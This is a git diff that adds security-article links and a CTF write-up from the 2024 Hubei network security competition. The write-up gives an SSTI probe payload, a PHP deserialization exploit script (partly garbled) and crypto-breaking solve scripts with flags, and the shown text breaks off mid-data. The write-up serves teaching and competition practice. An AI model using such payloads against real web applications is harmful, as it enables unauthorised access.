diff --git a/data.json b/data.json index 79795e84..fe746ad5 100644 --- a/data.json +++ b/data.json @@ -1913,5 +1913,8 @@ "https://mp.weixin.qq.com/s?__biz=MzkyODY3NjkyNQ==&mid=2247484401&idx=1&sn=71dcfb268f5852a19c75d24153bb827e": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)", "https://mp.weixin.qq.com/s?__biz=MzkyODcwOTA4NA==&mid=2247487524&idx=1&sn=0ba60c7c544d38db55c6cc9723985528": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)", "https://mp.weixin.qq.com/s?__biz=MzUxMTk4OTA1NQ==&mid=2247484851&idx=1&sn=52c5df6c1e8f7e240e5d705a9adb8fbc": "【漏洞复现】CVE-2024-50623", - "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限" + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限", + "https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494604&idx=1&sn=e708788215b2043d657d20c4aab45fde": "2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp", + "https://mp.weixin.qq.com/s?__biz=MzAwNTc5MTMyNg==&mid=2247500072&idx=1&sn=2b761dedd7c1caedbe68c644c1292ec6": "关于AWD的小结", + "https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486453&idx=1&sn=c80d52031a23f7939f932cb30817a4d7": "「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞" } \ No newline at end of file diff --git a/doc/2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp.md b/doc/2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp.md new file mode 100644 index 00000000..cbcdc686 --- /dev/null +++ b/doc/2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp.md @@ -0,0 +1,1814 @@ +# 2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp +原创 天权信安 天权信安 2024-12-22 15:16 + +本文来自 +:天 +权信安网络安全生态圈   + +作者 +: +天权信安网络安全团队 + +**2024年湖北省网络与数据安全实践能力竞赛** + +**——天权信安WriteUp** + + +✦✦✦ + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SoHh7WI1fkcjp4nvcicic7rhM6MlY6uNBdEHnVKyia9SV9NP7iaysaSQGEg/640?wx_fmt=jpeg&from=appmsg "") + + +排名:线上赛第8名 + +解题数量:19题 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SiaMPAHqFlcVG6teQDKyHt0YibYM80oG1yUzoL0V4KuWI3Y5RJZtG0xibA/640?wx_fmt=png&from=appmsg "") + + + + +解题过程**** + + +**WEB.01** + +**✦✦✦ 1.速算比赛** + + + +直接禁用JS 手动计算30次得到flag + +操作内容: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0S4a2Hiaq9aJtZqXHmF5XqNQiaZP95gpPl8FUZYRcggjF5ZYRZIUnmTGtA/640?wx_fmt=png&from=appmsg "") + + + +**WEB.02** + +**✦✦✦ 2.****Sal的图集** + + + +操作内容: + +回显是4,Search处有ssti漏洞 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SscmTvFyNp5qwARqN1Q7mGDOzLiaOyOmaicncTjFRz0HHttKSDRmLg9EQ/640?wx_fmt=png&from=appmsg "") + + +代码: + +**/search?name={{2*2}}** + + +**WEB.03** + +**✦✦✦ 3.****popmart** + + + +操作内容: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SzDO2F9CdnmzyYOy5IaC7Ika6ib0JJK9dXpkBUE4SxuFI2NZWx1Pum6w/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` +yuki='tell me where'; + $this->molly='dont_tell_you'; + $this->dimoo="you_can_guess"; + } + public function __wakeup(){ + global $flag; + global $where_you_go; + $this->yuki=$where_you_go; + if($this->molly === $this->yuki){ + echo $flag; + } + } + } + $exploit = new popmart(); + $serialized_exploit = serialize($exploit); + echo $serialized_exploit; +?> +``` + + + + +**CRYPTO****.01** + +**✦✦✦4 Mypow** + + + +操作内容: + +参考链接: + +**https://blog.csdn.net/luochen2436/article/details/132138412** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SmgnHEsBzozzQeQ2ic9e3jFrrRBG3jHwDp94gF57sDvOO3WlGGJNrPVQ/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` + 题目: ++from Crypto.Util.number import * +from gmpy2 import * +import os + +flag = b'xxx' +def Mypow(b, e, mod): + a = 1 + while e: + e >>= 1 + b = (b*b)%mod + if e&1: + a = (a*b)%mod + return a + +def Genp(bit_length): + coeff = 2 ** 5 * 3 * 7 + while True: + tmp_prime = getRandomNBitInteger(bit_length - 10) + p = coeff * tmp_prime + 1 + if is_prime(p): + break + return p + +def Genkeys(bit_length): + p,q = Genp(bit_length),Genp(bit_length) + n = p * q + hint = (2 * p + 7 * q) % n + return n, hint + +if __name__ == '__main__': + e = next_prime(666) + n, hint = Genkeys(512) + m = bytes_to_long(os.urandom(30) + flag) + ct = Mypow(m,e,n) + print(f'n = {n}') + print(f'hint = {hint}') + print(f'ct = {ct}') + + ''' + n = 36443283250594259606482132779262570582448178589602577809591307671554949253094255209079689901493052116793388954529442162972106210862341856282788030374324677114528044629385805693771773377070021111949953333360526159026822968061585876873187059674130307295006486032106471182393880915860569773206853864515489855553 + hint = 57792516722001523643789088224096258172899052039145876393373730235406451592173971020702024058282699663364267742428240581839287357212741266617791207580236457 + ct = 24482128269957355675512496312977308128712253968496848873519792376434347925427116612997489113223781321628516365811583310346553402215907938918891908853234881284620764982626375301219763593402089309909155204943747718536894186749932544428588048770663458669109073657836937287831725958017345747881678942488157429000 + ''' + +#sage +R. = Zmod()[] +f = 2*x^2 + 7*n - hint*x +p = int(f.roots()[0][0]) +q = n//p + +Mypow(b,e,mod)函数相当于pow(m,e,n)函数,但是对于不同的幂e结果不同。当e为偶数时,相当于pow(m,e,n);当e为奇数时,相当于pow(m,e-1,n)。本题的e = next_prime(666),显然是一个素数(必然是奇数),因此真正的e = next_prime(666)-1。 +经计算,gcd(e,phi)=e,因此演变为有限域下开根问题。分别在 G F ( p ) , G F ( q ) GF(p),GF(q) GF(p),GF(q)上开e次方根,之后crt组合一下,求出所有的m,再判断字符串中是否含有DASCTF即可得到flag。 +#sage +import gmpy2 +from Crypto.Util.number import * + +n = 36443283250594259606482132779262570582448178589602577809591307671554949253094255209079689901493052116793388954529442162972106210862341856282788030374324677114528044629385805693771773377070021111949953333360526159026822968061585876873187059674130307295006486032106471182393880915860569773206853864515489855553 +hint = 57792516722001523643789088224096258172899052039145876393373730235406451592173971020702024058282699663364267742428240581839287357212741266617791207580236457 +ct = 24482128269957355675512496312977308128712253968496848873519792376434347925427116612997489113223781321628516365811583310346553402215907938918891908853234881284620764982626375301219763593402089309909155204943747718536894186749932544428588048770663458669109073657836937287831725958017345747881678942488157429000 + +R. = Zmod()[] +f = 2*x^2 + 7*n - hint*x +p = int(f.roots()[0][0]) +q = n//p + +e = gmpy2.next_prime(666)-1 + +R. = Zmod(p)[] +f = x^e-ct +f = f.monic() +results1 = f.roots() + +R. = Zmod(q)[] +f = x^e-ct +f = f.monic() +results2 = f.roots() + +for i in results1: + for j in results2: + param1 = [int(i[0]),int(j[0])] + param2 = [p,q] + m = CRT_list(param1,param2) + flag = long_to_bytes(int(m)) + if b'DASCTF' in flag: + print(flag) + break +``` + + +flag值: + +DASCTF{FastP0w3r_4nd_AMM_0f_R5A} + + +**CRYPTO.02** + +**✦✦✦5 easycrypto** + + + +操作内容: + +参考链接: + +**https://blog.csdn.net/luochen2436/article/details/132964576** + +题目: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SNKO2DxYbfJ72tsRsJ4wAYficnZ5QrWqbZ47Ul5fbvmiafx1suKIXnyPw/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` +题目: +from Crypto.Util.number import * +from secret import FLAG + +m = bytes_to_long(FLAG) + + +def getpq(nbit): + p = getPrime(nbit) + q = getPrime(nbit) + if p > q: + return p, q + else: + return q, p + + +p, q = getpq(512) +P = (p - q) & ((1 << 130) - 1) +n = p * q + +leak_p = p >> 256 + +c = pow((1 + P * n), m, n ** 3) + +print('n =', n) +print('leak_p =', leak_p) +print("c =", c) + +# n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287 +# leak_p = 115314121469787984258489158421056136177545051135641551928888818017665807264468 +# c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779 + +p高位泄露256bit,但是泄露的bit不够,我们还需要爆破8bit才能copper恢复p。 +#sage +from tqdm import * +n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287 +p_high = 115314121469787984258489158421056136177545051135641551928888818017665807264468 +c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779 +pbits=512 +for i in trange(2**8,1,-1): + p4 = p_high<<8 + p4 = p4 + i + kbits = pbits - p4.nbits() + p4 = p4 << kbits + PR. = PolynomialRing(Zmod(n)) + f = x + p4 + roots = f.small_roots(X=2^kbits, beta=0.4, epsilon=0.01) + if roots: + p = p4+int(roots[0]) + if n%p==0: + print(i,p) + break + +#i = 197,p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343 +``` + + +计算得到P,接着二项式展开得到 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SFdYlS2m2ArR5oAjtSSA9VFeDMZyvqFXRFSJJZcJF2icP7hQbWOyzXrw/640?wx_fmt=png&from=appmsg "") + + +解题代码: + +``` +import gmpy2 +from Crypto.Util.number import * + +n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287 +c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779 +p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343 +q = n//p +P = (p - q) & ((1 << 130) - 1) +m = (c-1)//n*gmpy2.invert(P,n) % n +flag = long_to_bytes(m) +print(flag) +#DASCTF{365d0d2cda3a3836a19bf1f46760d875} +``` + + +flag值: + +DASCTF{365d0d2cda3a3836a19bf1f46760d875} + + + +**CRYPTO.03** + +**✦✦✦** + +**6 Another+leak+of+LCG** + + + +**操作内容:此题为原题,找到了代码,发现代码跑不通,更改了一下代码,跑出结果。** + +种子恢复逻辑:从最后一轮开始,逐步逆推种子。每轮只使用非 * 的有效位,按低位在前构建整数。利用线性同余公式 (seed - b) * inverse(a, M) % M 逆推种子。 + +恢复 Flag:通过异或运算 flag = c ^ seed 恢复原始 flag,其中 c 是给定的密文。 + +解码 Flag:尝试不同编码(如 utf-8, latin1),检查是否全是ASCII字符,记录最佳解码结果。 + +解题公式 + +种子逆推公式:seed = (seed - b) * inverse(a, M) % M + +Flag 恢复公式:flag = c ^ seed + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SiaYGZrzpzofSevHg5kwmvLJjAqxk9DPnCgzVbGjOFGM5Fvx99YCtqTA/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` + from Crypto.Util.number import long_to_bytes +c = 16881580266371213879199933551551391657843465997606963348664525781336437594162520786815349648165563542125219063481822246500499434326624995868766335675376062002958905249433093212 +a = 7048435472566573813031570507837890091364947084306630050544242220147807292350445564322172244244726206563452305566866223414437853917448623276909090327076693 +b = 9204853069421046007176344891235245198607052139715825810823076231566533652655127030214860066312526149219510111657539481375881111759200483396551737326166933 +x = ['**********************1*****************************************************************************0******************************************************************************************************************1*************************************************************************************1*********************************************0*********************************************************************************************************************************************************1**********', '**1**************************0*********************1************************************************************************************0**********************************************************************************************************************************1******************************0********************************0********************************1*****************************************************************************************************************************************0*********', '*************************************************************************************1*********************************1*********************************************************************1**********************************************************************************************************************************************************************0*******************************************************************************1******************************************1********************************', '**************************0**************************************************1***********************0******************************************************1*********************************************************************************************************************0*************************1***********************************************************1******************************************************************1*************0*****************************************************************1****', '******0******************************************************1*************0******************************1****1*********************************************1*******************************************************0*********************************************************************************1*****************************************0******************************************************1**********************************************************************1************************************************', '***********************************0******************1**********0*****************************************************************************************************************************************************0*******************************1************************************************************1**************0*************************************1**************************1***************************************************************************************0***********************************', '********************************00************************************************************************00************************************************************************************************************0*******************************0*0********1***********1*1***********1****0***********************************************************************************************************0*********************************************************************0******************************************0', '***************************0******************************************1****************0*************************1**********************0************************************************************************0*************************0***************0****************************0*******1***************1******************0*******************1**********************************************************************************************************************************************0****************0********', '**0********************************************************************************1************************1*************************************************************************1*************************1*************************1***************1*****************************************************************************************************************0**********************************01**************1********************************************************************************************0***', '**1*******************************************************************************1*********************************1******0*****************************************************************************************************1*********************************************************************************************1***************1********************************1*************************************0**0******************************************************************************************************', '********************************************************************************************************************************************************0********************************************0***0*************************************************************0*******1***********************0****************************1*********************************************************************************************0**********************************************0*******1**********************************0***', '***************************************************************************************************************************0**********************1*********0*********************************************************************************1*******0**********************************************************0*************************************************************************************************1************************************************************************************************************', '******************************************************************************************************0************1**0******************************1******************************************1****************************1******0*****************************************************************************************************************************************************0*******************0*********************0*******************************************************************************************', '****1************1***********************************************************************************************************1*****************************************************1***************************************************1**********************************************************************************************************************0*******************************0*****************0*************************1********************************************0*********0**0***1***********************', '******0************************************************************************0***************************************************************************************************************************************************************1**************************************************************************************************************************************************************1********************1********1**************************************************0******************0*************', '**********1********************************1*****************************************************************0*****************************************************************************************************************************************1***1***************0*******************1******************************************************************0****************************************01*****************************************************************************************************************0*', '**********1**************************************************************************************************************************************************************************************************************************************************************************************1******************0******************************************************************************************************************************************************************1****************************************', '**************************************************************************************************************************************0************************************************************0***************************************************************************************************************************************************************************************************0***********0**************************************************************0***************1*****************************', '*******************************************************0*********************************************************************************************************************************1****1****************************************************************0*******0*****************************************************************************************************************0***************0*******************************************************************************0**************************************', '*******11***********1*************************1****************************************************************************************************************************************************************************1******************0******************0************************************************************************************************0*****************1*****************************************************************************************************************************************0*', '******************************************************************1****************************************************************************************************0**************************************************1********************************************************************************************************************************************************************************************************************************************************0*******1***************************1********', '*******************0**************************************************0****************************************************1*************************************1*********************************************************************************************************************************************************0***************0*******0***************************************************0*******************************************************************************************************1**0*************', '********************1**********1*******************************0*********************11*************************************************************0*************************************************************************0******************************************************************0**********************************************************************************1***************0**1*****************1*********************************************************0********************************************', '*************************0********************************************************************************************************0**************01************0************************************************1*****************0**************0*********************1*********0************0*****************************************1***1**************************************************************************0**********************************************1************1********************************************', '*****************************************************************************1***************1*****1***********************************************************************************************************************0****************************************************************************************************1*************************0****************1*************************************************************************0**************************************************************************', '***************1**********1**********************************************************0***************************************************************************************************************0**************0**********1*******************************1*****************************************************************************************0**********************************************************************************************0******************************************************************0****', '***1*****************************************************************************************************0***************************************************************************************************************1**************************************************0***************0********************************************************1*******************************************1*****************************************************************************************************************0************', '*********************************************0*1***************************************************0****************************************************************************************************1********************************************************************************************************0*******************************0**************************************************0**********0***********1********************************************************************1**********************0***0***1', '************10*******************************************0**********************************1************************0****************************0*************************************************************************************************1***************************0****0*1**********************************************1******0*************************************************1********************************************************************************************************************************', '**************************************1*************0**************1*************1*****************0**********1****************************************************************************************************************************************************************************************************************************************************0********************1*******************0************************************************1***************1**************************************************', '**************************************************************************************************************1****************0*************************1****0******************************************0****************************************************************0***********************************************************************0*************************************************0**********************0**********************************************0**1**************************************************', '******************************************0************************************************************00***********************************************************************************************************************************1*************************************************************************************************************************************************************1***********************1**************************0******************************************************************', '******************************************************************************************************1*1***********0*************************************************************0********************************************************************************1*********************************0*******1********************************************************************************************1*****************************1*************************1*************************************1***********************', '**************0******0*************1*********0************************************1******************0**1****************************************************************************************************************************0*************1****************************1****************************************1***********************0*****************************************************************************0********0*1******************1**********************1*******************************************', '***************************1***************************************************************************************************1**********************************1******************************************1********************************************************************************************************************0*********11*****************************************************************************************************************************************************1****************************', '***********************************************************************************************************1*******************************1***********************1*****1**************************************************************************************************1**************0*******1*************************************1**********************************************************************************************************************************************1********************************1******', '***************************************************************0**0************************************0********************************************************************************************************0**************************1*********************************************1************************************************************************1***0*************************************************1************************************************1********1***************0********************1********', '*****************************************0**0******************0***************************************************************1*********1**1***************************************************1***********************************************0***************************0**********1********1*****************0*************************************************0***********************0**********************************1******************************************************************10****************************', '********************************************************************************************************************************************************************1****************************************************1****************************************************************************0***************************************************************************************************************************************0**********************************************************0**********************', '**********************************0**************************************************0*************************************0**********************************0**********************************************************************************0*****0***********************************************************0*************************************0***************************0******************************1*0*********************************************************************************************************', '**************************************************************************************************************1***0*********************0***************************0**************************1*****************1****************************************************************************************************************************************************************************************************************0************************0********************************************************************', '*****************************************************************1************************************0*****************************0*******************************************************0********************0*********************************************0***********************0*****0****************************************************************************0**********************0**1***************************************************************************************************************************', '**********************************************************1*****************1**************************************************************0****************************************************************1**************************************************************************************************************************************0*********************************************************************************************1******************************************************************************', '***************0***************************************************************************0************1***************1**************************************1************1**************************************************************************************************0*************************************************************************************************************************************1************************************************0*********************************************************', '*******************************************************************************************************************10**********************************************************************************************************************************1*******************0**********0**********1*****************************************************0******************************************************************************1***0*****************************************************************1*******************', '******************************00***********0**************************************************0***************************************************************************0************0*****************0****************************0******************************************************************************************************************************************************************************1***************0*****************************0******************0*****************************************', '*********************0*****************************************0*********************1****************1***************************10*************************1**********0***************************************************************************************************************************************************************1************0********************************************0*****************************************************************************************************************************', '***************************************************1*01*********************1***************************************1************************1*******0******************************************1*******************************************************************************0********************1**0*****0******************************************************************************************0*1********************************************************************************************************************', '***************************1*******************1*****************************************************************************************0*****************************************************************************************************************************0*****************************0*********************1*****1*************************0***************1******************1***********************************************************0******************************************0*1************************', '****************************1******************************************************************************0****************0**********************************************************************************************0**************************************************1********************************************************************************************************1***********************0***************************1*********************************0****************************0*********************', '*********************************************************1***************************************0**********************************************************0***************************1*******************************************************0*********************************************************************************************************************1***************************0****************************0*1**************0***************************0***************************************************', '**************************0******11*******************************************************************************0**********************************************************0****************************1**********0**********************************************************************************************************************************************************************************************************************************************************************************************************', '*******************1*****************************************************************************************************************************************************************************************0************************************************************************************1**********************************************************0*************0***************************************************************************************************1************************************************', '***************1***********************************0*********1********************0***********************1*************************************1*********************************************************************0***********************************************************************************************************************************************************************************************************************0***********************************************0*********************************', '****************************1**************************************************************************************************************************1*****0***************************************************************0**************************0*1************0****************************************0***********************************0*****************************************************************************************************************************************************0*********************', '*********************************************************************************************************0*********************************0*********************************1************00***0*******************************************************************************************1***************************************************************0************************************************************************************************1********************************11*******************************0*', '**1*******1************************************************************0*************************************************************************0*****************************************************0***************************************************************************************************************************************0***************************************************1***************************************************************0************************0***********************************', '***********************************************************************************************************************0*******************************************1*************************************1**************************************************************************************************************************0*******************************10*****************************************************************************1**********************************************0*****************************', '******************************************************************00*****************************************************************************************************************************************1****************************************************************************************************1***0******************************************0*************0*************************************************0*******0*****************************************************************1********************', '***************************************************************************************0**********1***1****0*****0*****************0********************************************************************************************************************************************************1***********0*****1***********1*****************************************************************************************************0*1*************************************0*******************************************************', '****************************************************************************************1***********************0********1*************1****************************************************************************************************************************************************************************************1***0*******1***************************0**********************0****************1************************************************************************************************************1**', '*********************************************************************************************************************0**************1******************************************************************************1********0****0********************************************1*******************************0******************1***************************************1*********************************************************0**********************************************************************1*********************', '********************0*************1*********************************************0*****************************************************************************************************************************************************1**********0**************************1******************************************************************1********************************************1*******************************************0****************************************************************************0**********', '*************************************************************************1***********************************************************0*************************************************************************1********************************0*************0*******************************************************************1**********************************************************************1********0*************************************************************************************************************'] + +T = 64 +def gen(s, M): + xx = [] + for _ in range(T): + s = (a * s + b) % 2**M + xx.append(bin(s)[2:].zfill(512)) + return xx + +XX = [] + +def check_seed(s, length, comparison_list): + seed = int(s, 2) + X = gen(seed, length) + for i in range(length): + for j in range(T): + if comparison_list[j][-i-1] != "*" and comparison_list[j][-i-1] != X[j][-i-1]: + return False + return True + +def find_possible_seeds(prefix=""): + + if len(prefix) == 512: + if check_seed(prefix, len(prefix), x): + XX.append(int(prefix, 2)) + else: + for bit in ('0', '1'): + new_prefix = bit + prefix + if check_seed(new_prefix, len(new_prefix), x): + find_possible_seeds(new_prefix) + + +XX = [] # 存储找到的有效种子 + +find_possible_seeds() +print(XX) +for SEED in XX: + print(long_to_bytes(c ^ SEED)) + +``` + +**** + + + + + +**CRYPTO****.04** + +**✦✦✦****7 QAQTAT** + + + +操作内容: + +参考链接: + +**https://dexterjie.github.io/2024/12/01/%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/2024%E7%AC%AC%E4%BA%8C%E5%B1%8A%E7%A6%8F%E5%BB%BA%E7%9C%81%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#QAQTAT%E2%80%94%E2%80%94Unsolved** + +**** +**代码:** + +``` +from Crypto.Util.number import * +from hashlib import sha256 +from secret import flag + + +m = bytes_to_long(flag) + +def enc(pt, G, A, T, S, p): + s = randint(0,p-1) + D = G^s + E = A*T*A + F = D*E*D + K = list(D*S*D) + key = sum(K[0])+sum(K[1])+sum(K[2]) + mask = int(sha256(str(key).encode()).hexdigest(),16) + ct = pt ^^ mask + return ct, F + + +def dec(ct, Q, F, p): + K = Q*F*Q + key = sum(K[0])+sum(K[1])+sum(K[2]) + mask = int(sha256(str(key).encode()).hexdigest(),16) + pt = ct ^^ mask + return pt + +p = getPrime(256) +Fp2. = GF(p^2, modulus=x^2+1) +M = MatrixSpace(Fp2, 3, 3) + +while True: + Q = M.random_element() + A = M.random_element() + if Q*A != A*Q: + break + +T = Q*A*Q +S = T*A*T +r1 = randint(0,p-1) +G = Q^r1 +pk = (list(A), list(T), list(S), list(G)) + +ct, F = enc(m, G, A, T, S, p) +print("p = ",p) +print("pk = ", pk) +print("F = ", list(F)) +print("ct = ", ct) + +""" +p = 72887242108660141996862343556330151015969690949835567252527194788428065480383 +pk = ([(17721183402259872020800275954210023274983052570120081248291897425608931477093*i + 32398110280895896734010284949974832063887503132353681078977206899204202173789, 54531634495057046991515273558305428867102201405617856305008554208336946545276*i + 53559176432820530464958340934397135653021175198597495321065224929188410347695, 27719945502856754481236098196014205483081586087367078493933408080194499938927*i + 1450628736387393873166171805424299538505476789523674611289973478290718453200), (57242423786686483363839647362581564383925732392730073374546590355998555747077*i + 573726326354574516128249317235875704460857319673337707555095009277545125755, 33631043256657770245013631632455702904903259491780484310654749784948198388976*i + 17344746653834202604930860577508757708688427949046279718508635007113840369042, 37771390186920740637371383242878514021347606565375600086363978842439775164973*i + 60264754185911116825495147907207494752330900415794996812483089251259003404228), (1163730453993018743008743150834548760986076138562570206571825145859591284352*i + 69245390362211526197537288211735612650619880945856387683074182933575799994162, 11137807706588795799057940108843238078078690609437386007163034291855328303661*i + 50795522649623533714787572047531722836395032085224035511036953078383612475598, 14354786571703727534706086386589187674076604263117377684131521866407943036307*i + 63028649680815097939155846824928638616844025040257105384123424769274942520895)], [(22137116252880790433838296157765927318220905592359967466680754349755815464341*i + 35503968364379821899511866562472775961434113516937033217642581531414863539290, 38346074307552448152239080224505166810289185210503265380269711384969731945517*i + 9333819647786551924409858116441570177115099865486742684028611902450000042407, 24608192510515673607042276468532809071945836783394960695059783085937608049755*i + 27099766371861599260580052331632986107092105438254563604629919595057370886149), (57539731529782952718529369617033412770127782205874818027724894673104814770991*i + 12431864123786174601413168140961685219607645783666490625760143190724674574386, 33510082449726132893492104159133966168598115972734064630878005553829725389082*i + 30594711977745700371548334707069524826346332947574826081979927125841475148328, 8911862104171403632946802970568635607253840071000107875759139060453368618583*i + 51594672749496705581452789883241278156858476777167382827032876227546058970732), (58105830161247358431125768499050987088161417325586965601350797391396603985470*i + 10949064084676782939947256128733523229613253182051362970560478801614590446300, 6665352489343222248969975791152178151760060704226637217535985452272551528693*i + 16163109497937280055564868323730465088174193174761590036929535644203224067166, 26147088265849488467397913386934580340556987670869413865359802108333761377560*i + 14170094609019059182842713618319151553137248441974849089555832123638494739417)], [(60066006389024369318961505483331049048095679333675437984483948643792214278503*i + 67617085525047580942273623886038114942547589259839196477555874755427651308048, 38692305959834079988532869421062338838072016075793686080934562521314366274998*i + 21104829450473981189549299039898127784065322316764325995863199136802573514, 7207625628360021282792621977024027446511231977201394776410095364976996279450*i + 23039079766688651678553952766794875180844089420934577132338235904018762773928), (10808368042897084491009063074724200907600038030639153659288985642861405920614*i + 33955795465220353002933680692690511153845418737513482128237117905262919879043, 21645210772494061734726430463955231707074915293749580279327741388687068110310*i + 62225984739450865202997071369617271241348810092608626482294704825641320606694, 14572118842071162051223076904993643512402905544627821044103215186921277812496*i + 63504547636870837320642724540312613748726280369811190421219651308407770510674), (6529211642735966744323364626486352288002532267939478445216264742350974653419*i + 43426895500365913698127867498420593427453574994051597107529725996420257433857, 66636149494607064863031794353485502915121295051850619450321561966293398587284*i + 51049172134567530748763269555600518661288880531459625871071308764595168859033, 42297258788816007263333796194491196601979606573843177791726417124128570106777*i + 45527674821983322767637713856131638914194577467349514130179266972864796164733)], [(47645610858583239528541540288030905132801730740336899517917521534427703920375*i + 13272393664089987551368548207128885229248289454405159277755757369580866096516, 60503024931869977830369448001966194434192750710631225090391559259672930497207*i + 22742672333325631628906219543935772962495637869131049729874762344108069789046, 18239371575343144081671835175136676417172797381923442300525086630600561560114*i + 53605095942301227312866863441233162082087535371838738595931070092230378325532), (49652795839344946948771531270341537200526957150620826334216871981974859849848*i + 72788891932812016325514298655742330969740202920835574638161526839627026310392, 58465406030985457122487065262985150103086610852826560192123766406670919681919*i + 41631921368744416558173670147590406285376603436284660888096365325833457519047, 2867068797023070369258694926242485369317317985428997150826022662547346928319*i + 199536555238705400453079146297641296197748614855192340202929119323998667173), (19319782936524636558881137449470396788888469756320580071801690941326971557928*i + 34694728896207512382372151140975478616355941017631874070450334268575015485538, 60420266086997924618637147844041161464210208935194926422677077391866663978425*i + 13672363312837218411993834816309940812825734002380106434784905443915361955247, 56317025568717741728727542740124505299029374963112095990350877412868385510001*i + 56960621295573230601502052571104746367180500789238336757504091383665514782189)]) +F = [(36081831373398765496490121898118275331597167308301671911642273861563666664545*i + 20818485079783326431414952124332440995164298376805349071762867760925654560129, 2080527476644284459469754065728582261439110792635520661740429151724797376184*i + 22485923248080983391383279592637691489160934672854638306617785344436031827838, 15544373162545014827602222261755865080947187122261471926061663568794038512828*i + 65994932829738499994169748656063604384011854387402875895186473718226656419067), (3553534440103543686958858303956716887328727627636404431097647427819509340361*i + 41182149981825439188243414995474733005799065992663037326956422731949977723727, 11444151159046255413538671703716370245288291793592500278345001664024824339590*i + 1802783416049323926195923226865768221398255563865542946492803065162093093803, 15739175840903697568714274177182938758189586472507039731239155962622285528109*i + 38249065906628598713138583591858150126778794837077688369911160900556744463900), (14364753807737302773559096493138893453118094354943941768609481298414054855231*i + 16290236676179704559365899211744462983770375364688247022596145726641137243214, 3863306473986430132042752882629555431418515741358351198972027547882636615940*i + 